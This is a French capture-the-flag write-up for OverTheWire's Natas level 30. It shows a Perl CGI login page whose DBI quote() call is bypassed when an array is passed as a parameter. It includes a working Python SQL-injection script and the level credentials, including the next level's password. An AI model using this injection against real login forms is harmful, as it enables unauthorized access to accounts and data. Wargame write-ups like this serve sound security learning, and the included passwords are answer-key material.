Niveau 30

Natas 30

Level Goal

Username: natas30
Password: wie9iexae0Daihohv8vuu3cei9wahf0e
URL: http://natas30.natas.labs.overthewire.org

En se connectant à la page du challenge 30 on arrive sur un nouveau formulaire de connexion. Le code source, en PERL, est le suivant (édité pour plus de clarté) :

#!/usr/bin/perl
use CGI qw(:standard);
use DBI;

# print HTML [...]

if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); 

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}

# print HTML [...]

La vulnérabilité ici est due à la manière dont le code "sécurise" les données ajoutées à la requête. On pourrait penser que la ligne suivante serait une mesure suffisante :

$dbh->quote(param('username'))

Cependant, quote(), est comme toute fonction PERL et si param('username') renvoi un tableau, elle ne pourra en traiter ses éléments.

Une solution en Python est :

import requests

response = requests.post(
    "http://natas30.natas.labs.overthewire.org/index.pl",
    data={"username": "natas31", "password": ["'' or true #", 5]},
    auth=requests.auth.HTTPBasicAuth("natas30", "wie9iexae0Daihohv8vuu3cei9wahf0e"),
)
print(response.text)

Le mot de passe du prochain niveau est hay7aecuungiuKaezuathuk9biin0pu1.